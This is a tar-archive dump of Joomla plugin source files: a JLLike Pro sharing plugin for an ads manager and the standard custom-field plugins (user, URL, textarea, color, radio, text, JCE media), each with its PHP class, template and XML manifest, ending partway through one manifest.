		<language tag="en-GB">en-GB/en-GB.plg_adsmanagercontent_jllikeproads.ini</language>
		<language tag="ru-RU">ru-RU/ru-RU.plg_adsmanagercontent_jllikeproads.ini</language>
	</languages>

	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="tp1" type="spacer" class="text" label="PLG_JLLIKEPRO_ENABLED"/>
				<field
					name="parent_contayner"
					type="text"
					default=""
					label="Parent Contayner"
					description="Parent Contayner css class"
					/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                  adsmanagercontent/jllikeads/jllikeads.php                                                           0000705                 00000005201 15242051521 0014647 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * jllike
 *
 * @version 4.0.0
 * @author Vadim Kunicin (vadim@joomline.ru), Arkadiy (a.sedelnikov@gmail.com)
 * @copyright (C) 2010-2019 by Vadim Kunicin (http://www.joomline.ru)
 * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 **/

// no direct access
defined('_JEXEC') or die;
error_reporting(E_ERROR);
jimport('joomla.plugin.plugin');
jimport('joomla.html.parameter');
require_once JPATH_ROOT . '/plugins/content/jllike/helper.php';
use Joomla\String\StringHelper;

class plgAdsmanagercontentJlLikeAds extends JPlugin
{
    public function ADSonContentAfterDisplay($content)
    {
        JPlugin::loadLanguage('plg_content_jllike');
        $plugin = & JPluginHelper::getPlugin('content', 'jllike');
        $plgParams = new JRegistry;
        $plgParams->loadString($plugin->params);
        $view = JFactory::getApplication()->input->get('view');
        $ADSShow = $plgParams->get('adscontent', 0);

        if (!$ADSShow || $view != 'details')
        {
            return '';
        }

		$parent_contayner = $this->params->get('parent_contayner', '');
        if(!empty($parent_contayner))
        {
            $plgParams->set('parent_contayner', $parent_contayner);
        }
        $helper = PlgJLLikeHelper::getInstance($plgParams);
        $helper->loadScriptAndStyle(0);
		$prefix = (JFactory::getConfig()->get('force_ssl') == 2) ? 'https://' : 'http://';
		$root = JURI::getInstance()->toString(array('host'));
		$url = $prefix . $plgParams->get('pathbase', '') . str_replace('www.', '', $root);
		if($plgParams->get('punycode_convert',0))
		{
			$file = JPATH_ROOT.'/libraries/idna_convert/idna_convert.class.php';
			if(!JFile::exists($file))
			{
				return JText::_('PLG_JLLIKEPRO_PUNYCODDE_CONVERTOR_NOT_INSTALLED');
			}

			include_once $file;

			if($url)
			{
				if (class_exists('idna_convert'))
				{
					$idn = new idna_convert;
					$url = $idn->encode($url);
				}
			}
		}
		$uri = StringHelper::str_ireplace(JURI::root(), '', JURI::current());
        $link = $url.'/'.$uri;

        if(!defined('JURI_IMAGES_FOLDER')){
            define('JURI_IMAGES_FOLDER',JURI::root()."images/com_adsmanager/contents");
        }

        $image = (!empty($content->images[0]->thumbnail)) ? JURI_IMAGES_FOLDER . '/' . $content->images[0]->thumbnail : '';

        $text = $helper->getShareText($content->metadata_description, $content->ad_text, $content->ad_text);
        $shares = $helper->ShowIN($content->id, $link, $content->ad_headline, $image, $text, $plgParams->get('enable_opengraph', 1));

        return $shares;
    } //end function
}//end class
                                                                                                                                                                                                                                                                                                                                                                                               fields/user/tmpl/user.php                                                                           0000705                 00000001230 15242051521 0011422 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.User
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$value = (array) $value;
$texts = array();

foreach ($value as $userId)
{
	if (!$userId)
	{
		continue;
	}

	$user = JFactory::getUser($userId);

	if ($user)
	{
		// Use the Username
		$texts[] = $user->name;
		continue;
	}

	// Fallback and add the User ID if we get no JUser Object
	$texts[] = $userId;
}

echo htmlentities(implode(', ', $texts));
                                                                                                                                                                                                                                                                                                                                                                        fields/user/user.php                                                                                0000705                 00000002004 15242051521 0010446 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.User
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields User Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsUser extends FieldsPlugin
{

	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		if (JFactory::getApplication()->isClient('site'))
		{
			// The user field is not working on the front end
			return;
		}

		return parent::onCustomFieldsPrepareDom($field, $parent, $form);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            fields/user/user.xml                                                                                0000705                 00000001422 15242051521 0010462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_user</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_USER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="user">user.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_user.ini</language>
		<language tag="en-GB">en-GB.plg_fields_user.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                              fields/user/params/user.xml                                                                         0000705                 00000000600 15242051521 0011742 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="default_value"
		type="user"
		label="PLG_FIELDS_USER_DEFAULT_VALUE_LABEL"
		description="PLG_FIELDS_USER_DEFAULT_VALUE_DESC"
	/>
	<fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL">
		<fieldset name="basic">
			<field
				name="show_on"
				type="hidden"
				filter="unset"
			/>
		</fieldset>
	</fields>
</form>
                                                                                                                                fields/url/tmpl/url.php                                                                             0000705                 00000001042 15242051521 0011073 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.URL
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$attributes = '';

if (!JUri::isInternal($value))
{
	$attributes = ' rel="nofollow noopener noreferrer" target="_blank"';
}

echo sprintf('<a href="%s"%s>%s</a>',
	htmlspecialchars($value),
	$attributes,
	htmlspecialchars($value)
);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              fields/url/url.php                                                                                  0000705                 00000002144 15242051521 0010123 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.URL
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields URL Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsUrl extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('validate', 'url');

		if (! $fieldNode->getAttribute('relative'))
		{
			$fieldNode->removeAttribute('relative');
		}

		return $fieldNode;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                            fields/url/url.xml                                                                                  0000705                 00000003205 15242051521 0010133 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_url</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_URL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="url">url.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_url.ini</language>
		<language tag="en-GB">en-GB.plg_fields_url.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="schemes"
					type="list"
					label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL"
					description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC"
					multiple="true"
					>
					<option value="http">HTTP</option>
					<option value="https">HTTPS</option>
					<option value="ftp">FTP</option>
					<option value="ftps">FTPS</option>
					<option value="file">FILE</option>
					<option value="mailto">MAILTO</option>
				</field>

				<field
					name="relative"
					type="radio"
					label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL"
					description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                           fields/url/params/url.xml                                                                           0000705                 00000001560 15242051521 0011420 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="schemes"
				type="list"
				label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL"
				description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC"
				multiple="true"
				>
				<option value="http">HTTP</option>
				<option value="https">HTTPS</option>
				<option value="ftp">FTP</option>
				<option value="ftps">FTPS</option>
				<option value="file">FILE</option>
				<option value="mailto">MAILTO</option>
			</field>

			<field
				name="relative"
				type="list"
				label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL"
				description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
                                                                                                                                                fields/mediajce/mediajce.xml                                                                        0000705                 00000003277 15242051521 0012042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.8" group="fields" method="upgrade">
	<name>plg_fields_mediajce</name>
	 <version>2.8.3</version>
  	<creationDate>15-01-2020</creationDate>
  	<author>Ryan Demmer</author>
  	<authorEmail>info@joomlacontenteditor.net</authorEmail>
  	<authorUrl>https://www.joomlacontenteditor.net</authorUrl>
  	<copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
  	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_FIELDS_MEDIAJCE_XML_DESCRIPTION</description>
	<files folder="plugins/fields/mediajce">
		<filename plugin="mediajce">mediajce.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages folder="administrator/language/en-GB">
		<language tag="en-GB">en-GB.plg_fields_mediajce.ini</language>
		<language tag="en-GB">en-GB.plg_fields_mediajce.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="mediatype"
					type="combo"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC"
				>
				<option value="images">images</option>
				<option value="files">files</option>
				</field>
				<field
					name="media_class"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC"
				/>
				<field
					name="media_description"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                 fields/mediajce/mediajce.php                                                                        0000705                 00000001435 15242051521 0012023 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     JCE.Plugin
 * @subpackage  Fields.Media_Jce
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2020 Ryan Demmer. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

JForm::addFieldPath(JPATH_PLUGINS . '/system/jce/fields');

/**
 * Fields MediaJce Plugin
 *
 * @since  2.6.27
 */
class PlgFieldsMediaJce extends FieldsPlugin
{
    public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
    {
        $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);
        return $fieldNode;
    }
}
                                                                                                                                                                                                                                   fields/mediajce/tmpl/mediajce.php                                                                   0000705                 00000003515 15242051521 0013000 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.MediaJce
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2020 Ryan Demmer. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

jimport('joomla.filesystem.path');

if ($field->value == '') {
    return;
}

$data = json_decode($field->value);

if (!$data) {
	$data = (object) array('src' => $field->value, 'alt' => '');
}


$class = (string) $fieldParams->get('media_class', '');
$type = (string) $fieldParams->get('mediatype', 'images');
$text = (string) $fieldParams->get('media_description', '');

if ($class) {
    $class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"';
}

if ($text) {
    $text = htmlentities($text, ENT_COMPAT, 'UTF-8', true);
}

$value = (array) $data->src;
$buffer = '';

$element = '<img src="%s"%s alt="%s" />';

if ($type !== "images") {
    $element = '<a href="%s"%s>%s</a>';
} else {
	$text = $data->alt;
}

foreach ($value as $path) {
    if (!$path) {
        continue;
    }

    // remove some common characters
    $path = preg_replace('#[\+\\\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]#', '', $path);

    // trim
    $path = trim($path);

    // check for valid path after clean
    if (!$path) {
        continue;
    }

    // clean path
    $path = JPath::clean($path);

    // create full path
    $fullpath = JPATH_SITE . '/' . trim($path, '/');

    // check path is valid
    if (!is_file($fullpath)) {
        continue;
    }

    // set text as basename if not an image
    if (!$text && $type !== "images") {
        $text = basename($path);
    }

    $buffer .= sprintf($element,
        htmlentities($path, ENT_COMPAT, 'UTF-8', true),
        $class,
        $text
    );
}

echo $buffer;
                                                                                                                                                                                   fields/mediajce/params/mediajce.xml                                                                 0000705                 00000001430 15242051521 0013312 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
			<fieldset name="fieldparams">
				<field
					name="mediatype"
					type="combo"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC"
				>
				<option value="images">images</option>
				<option value="files">files</option>
				</field>
				<field
					name="media_class"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC"
				/>
				<field
					name="media_description"
					type="text"
					label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL"
					description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC"
				/>
			</fieldset>
		</fields>
</form>
                                                                                                                                                                                                                                        fields/textarea/params/textarea.xml                                                                 0000705                 00000002671 15242051521 0013452 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="rows"
				type="number"
				label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="cols"
				type="number"
				label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="maxlength"
				type="number"
				label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC"
				filter="integer"
			/>

			<field
				name="filter"
				type="list"
				label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC"
				class="btn-group"
				validate="options"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="0">JNO</option>
				<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
				<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
				<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
				<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
				<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
				<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
				<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
			</field>
		</fieldset>
	</fields>
</form>
                                                                       fields/textarea/textarea.php                                                                        0000705                 00000000704 15242051521 0012151 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Textarea
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Textarea Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsTextarea extends FieldsPlugin
{
}
                                                            fields/textarea/textarea.xml                                                                        0000705                 00000004423 15242051521 0012164 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_textarea</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_TEXTAREA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="textarea">textarea.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_textarea.ini</language>
		<language tag="en-GB">en-GB.plg_fields_textarea.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="rows"
					type="number"
					label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC"
					default="10"
					filter="integer"
					size="5"
				/>

				<field
					name="cols"
					type="number"
					label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC"
					default="10"
					filter="integer"
					size="5"
				/>

				<field
					name="maxlength"
					type="number"
					label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC"
					filter="integer"
				/>

				<field
					name="filter"
					type="list"
					label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC"
					class="btn-group"
					default="JComponentHelper::filterText"
					validate="options"
					>
					<option value="0">JNO</option>
					<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
					<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
					<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
					<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
					<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
					<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
					<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                             fields/textarea/tmpl/textarea.php                                                                   0000705                 00000000550 15242051521 0013124 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Textarea
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

echo JHtml::_('content.prepare', $value);
                                                                                                                                                        fields/color/color.php                                                                              0000705                 00000002011 15242051521 0010744 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Color
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Color Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsColor extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('validate', 'color');

		return $fieldNode;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       fields/color/color.xml                                                                              0000705                 00000001430 15242051521 0010761 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_color</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_COLOR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="color">color.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_color.ini</language>
		<language tag="en-GB">en-GB.plg_fields_color.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                        fields/color/tmpl/color.php                                                                         0000705                 00000000623 15242051521 0011727 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Color
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', $value);
}

echo htmlentities($value);
                                                                                                             fields/radio/tmpl/radio.php                                                                         0000705                 00000001124 15242051521 0011664 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Radio
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$value   = (array) $value;
$texts   = array();
$options = $this->getOptionsFromField($field);

foreach ($options as $optionValue => $optionText)
{
	if (in_array((string) $optionValue, $value))
	{
		$texts[] = JText::_($optionText);
	}
}


echo htmlentities(implode(', ', $texts));
                                                                                                                                                                                                                                                                                                                                                                                                                                            fields/radio/radio.xml                                                                              0000705                 00000003011 15242051521 0010716 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_radio</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_RADIO_XML_DESCRIPTION</description>
	<files>
		<filename plugin="radio">radio.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_radio.ini</language>
		<language tag="en-GB">en-GB.plg_fields_radio.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="options"
					type="subform"
					label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL"
					description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC"
					layout="joomla.form.field.subform.repeatable-table"
					icon="list"
					multiple="true"
					>
					<form hidden="true" name="list_templates_modal" repeat="true">
						<field
							name="name"
							type="text"
							label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL"
							size="30"
						/>

						<field
							name="value"
							type="text"
							label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL"
							size="30"
						/>
					</form>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       fields/radio/radio.php                                                                              0000705                 00000000703 15242051521 0010712 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Radio
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Radio Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsRadio extends FieldsListPlugin
{
}
                                                             fields/radio/params/radio.xml                                                                       0000705                 00000001777 15242051521 0012222 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="options"
				type="subform"
				label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL"
				description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC"
				layout="joomla.form.field.subform.repeatable-table"
				icon="list"
				multiple="true"
				>
				<form hidden="true" name="list_templates_modal" repeat="true">
					<field
						name="name"
						type="text"
						label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL"
						size="30"
					/>

					<field
						name="value"
						type="text"
						label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL"
						size="30"
					/>
				</form>
			</field>
		</fieldset>
	</fields>

	<fields name="params">
		<fieldset name="basic">
			<field
				name="class"
				type="textarea"
				label="COM_FIELDS_FIELD_CLASS_LABEL"
				description="COM_FIELDS_FIELD_CLASS_DESC"
				class="input-xxlarge"
				size="40"
				default="btn-group"
			/>
		</fieldset>
	</fields>
</form>
 fields/text/tmpl/text.php                                                                           0000705                 00000000622 15242051521 0011442 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Text
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', $value);
}

echo htmlentities($value);
                                                                                                              fields/text/params/text.xml                                                                         0000705                 00000002055 15242051521 0011764 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
